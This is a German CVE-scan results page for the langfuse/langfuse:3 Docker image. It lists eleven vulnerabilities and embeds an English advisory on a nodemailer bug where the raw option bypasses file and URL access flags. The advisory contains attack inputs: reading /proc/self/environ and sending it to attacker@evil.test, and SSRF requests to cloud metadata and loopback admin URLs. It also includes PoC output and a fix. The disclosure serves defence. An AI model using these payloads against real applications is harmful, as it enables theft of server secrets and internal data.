Neues Image Scannen

CVE-Scan für langfuse/langfuse:3

Docker-Image-Sicherheitslücken-Scanner

11 Bekannte Sicherheitslücken in diesem Docker-Image

0
Kritisch
1
Hoch
8
Mittel
2
Niedrig
0
Info/ Unbestimmt/ Unbekannt
CVE-IDSchweregradPaketBetroffene VersionBehobene VersionCVSS-Score
GHSA-p6gq-j5cr-w38fhighpkg:npm/nodemailer@7.0.13<=9.0.09.0.17.1

Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message

  • Target: nodemailer/nodemailer, npm nodemailer v9.0.0 (HEAD 4e58450eb490e5097a74b2b2cce35a8d9e21856e)
  • Verdict: CONFIRMED (local PoC, no network)

Summary

Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes untrusted message data to the library can forbid that data from reading local files or fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent content node honors these flags. The message-level raw option does not.

MailComposer.compile() builds the root MIME node for a raw message without threading the two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' } message is read / fetched anyway, and the file or HTTP-response bytes become the actual message that is sent by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose input the application intended to sandbox therefore obtains arbitrary local-file disclosure and a full-response SSRF primitive, delivered to a recipient the same actor can choose.

This is the same vulnerability class as the already-published jsonTransport advisory GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas this affects the delivered RFC822 message for all transports.

Affected component

  • lib/mail-composer/index.js:34-35 — root cause:
    if (this.mail.raw) {
        this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);
    }
    
    The MimeNode is constructed with only { newline }. Compare the sibling node builders _createMixed/_createAlternative/_createRelated/_createContentNode (lib/mail-composer/index.js:389-527), which all pass disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.
  • lib/mime-node/index.js:51-52 — the constructor derives this.disableFileAccess/ this.disableUrlAccess solely from its own options; children do not inherit a parent's flags (createChild/appendChild, lines 175-194, pass options through verbatim).
  • lib/mime-node/index.js:812setRaw() content is resolved through this._getStream(this._raw).
  • lib/mime-node/index.js:984-1010_getStream reads the file (fs.createReadStream, 995) or fetches the URL (nmfetch, 1009) only guarded by this.disableFileAccess/this.disableUrlAccess, which on the raw root node are false.
  • Reached from the normal send flow at lib/mailer/index.js:188 (mail.message = new MailComposer(mail.data).compile()), so every transport is affected.

Reachability gate (hop-by-hop)

  1. Source. Application calls transporter.sendMail({ raw: <userControlled> , to: <userControlled> }) with disableFileAccess: true and/or disableUrlAccess: true configured on the transporter (forced onto mail.data in lib/mailer/mail-message.js:36-40) or per message. This is the exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was accepted.
  2. Guard — the access flags. For attachments the flag is enforced: a node created by _createContentNode carries disableFileAccess, so _getStream throws EFILEACCESS. Bypass: the raw branch (compile():34-35) never sets the flag on its node, so this.disableFileAccess === false and the guard at mime-node:985 / :999 is skipped. There is no other validation between mail.raw and the read; raw content shapes ({path}, {href}, stream, string, buffer) are accepted as-is by setRaw/_getStream.
  3. Sink. fs.createReadStream(content.path) (file disclosure) or nmfetch(content.href, …) (SSRF). The resulting bytes are emitted as the message body by createReadStream(), which every transport pipes to its destination (smtp-transport:233, smtp-pool/pool-resource:208, ses-transport:96, sendmail-transport:184, stream-transport:67).

No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.

Root cause

Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and must be re-passed at every node creation. The raw-message shortcut in compile() omits it, while all five other node builders include it. The flags are therefore enforced for every content type except the one that lets the caller supply a complete message body by path/URL.

Exploit path

Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):

  1. Untrusted actor supplies raw: { path: '/proc/self/environ' } (or any server file: /app/.env, key material, etc.) and to: attacker@evil.test.
  2. compile() builds the raw root node without the flags; the transport reads the file and sends its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.
  3. Alternatively raw: { href: 'http://127.0.0.1:8080/admin' } or a cloud metadata URL → Nodemailer fetches it server-side and delivers the full response body in the email → full-response SSRF (no blind-channel limitation).

Impact

  • Confidentiality (High): arbitrary local file read disclosed in the outgoing message; full-response SSRF to internal/metadata endpoints, also disclosed in the message.
  • Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
  • The two protective flags an application relies on to contain untrusted input are silently ineffective for raw.

Preconditions

The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to). No other configuration is required; all bundled transports are affected. This mirrors the accepted precondition of GHSA-wqvq-jvpq-h66f.

Severity

  • AV — message data routinely originates over the network in the apps these flags protect.
  • AC — a single crafted raw object; deterministic.
  • PR — the actor is a user whose input the app already treats as untrusted (the reason the flags are set); not fully anonymous in the typical deployment.
  • UI — no victim interaction.
  • S — impact within Nodemailer's process scope.
  • C — arbitrary file read and full-response SSRF, both delivered to an attacker-chosen recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
  • I — attacker injects fetched/file bytes into the outgoing message.
  • A. Note: if a deployment fixes the recipient (to not attacker-controlled) the disclosure channel narrows and the rating degrades toward the sibling's Medium; the High rating reflects the reasonable worst case where raw and to are both untrusted.

Adversarial re-read (attempts to refute)

  1. "raw content is by-design trusted, so the flags shouldn't apply." Rejected: every other content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set" model. The asymmetry — attachment {path} is blocked but raw:{path} is not — is the bug, and the PoC's CONTROL case proves the flag is otherwise effective on the same file.
  2. "The raw node inherits the flags via rootNode." Rejected by code and by PoC: compile():35 constructs the node with { newline } only; MimeNode constructor sets this.disableFileAccess = !!options.disableFileAccessfalse; rootNode is itself; no inheritance exists.
  3. "The PoC leaks for an unrelated reason." Rejected: the CONTROL message (attachments:[{path}], same file, same transporter) returns EFILEACCESS; only the raw:{path} message leaks. The sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only obtainable by an actual fetch. Both observables are uniquely bound to the bypass.
  4. "Maybe only jsonTransport (already reported) is affected." Rejected: the PoC uses streamTransport and the root cause is in MailComposer.compile() (mailer:188), shared by all transports; jsonTransport is a different (already-fixed) path.

I could not find any guard that blocks the chain; the finding survives.

Proof of concept (safe, benign)

findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only), no destructive action. Output:

[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED

Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).

Remediation

Thread the access policy onto the raw root node, exactly as the other builders do:

if (this.mail.raw) {
    this.message = new MimeNode('message/rfc822', {
        newline: this.mail.newline,
        disableFileAccess: this.mail.disableFileAccess,
        disableUrlAccess: this.mail.disableUrlAccess
    }).setRaw(this.mail.raw);
}

(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either flag is set, regardless of how the node was constructed.) Add a regression test asserting that raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring the attachment tests.

Package URL(s):
  • pkg:npm/nodemailer@7.0.13
CVE-2025-60876mediumbusybox<=1.37.0-r31not fixed6.5
CVE-2026-33750mediumpkg:npm/brace-expansion@1.1.11<1.1.135.0.56.5
GHSA-r7g4-qg5f-qqm2mediumpkg:npm/nodemailer@7.0.13<=8.0.78.0.86.5
CVE-2026-41907mediumpkg:npm/uuid@3.3.3<11.1.111.1.16.3
GHSA-268h-hp4c-crq3mediumpkg:npm/nodemailer@7.0.13<=8.0.88.0.95.4
GHSA-wqvq-jvpq-h66fmediumpkg:npm/nodemailer@7.0.13<=8.0.88.0.95.4
CVE-2026-54285mediumcore<2.8.02.8.05.3
GHSA-vvjj-xcjg-gr5gmediumpkg:npm/nodemailer@7.0.13<=8.0.48.0.54.9
GHSA-c7w3-x93f-qmm8lowpkg:npm/nodemailer@7.0.13<8.0.48.0.42.3

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

Sliplane Icon
Über Sliplane

Sliplane ist eine einfache Container-Hosting-Lösung. Es ermöglicht dir, deine Container innerhalb von Minuten in der Cloud zu deployen und bei Bedarf zu skalieren.

Sliplane kostenlos testen

Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

  • Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
  • Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
  • Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

Du willst dieses Image deployen?

Probiere Sliplane aus – eine einfache Docker-Hosting-Lösung. Sie bietet dir die Tools, um deine containerisierten Anwendungen bereitzustellen, zu verwalten und zu skalieren.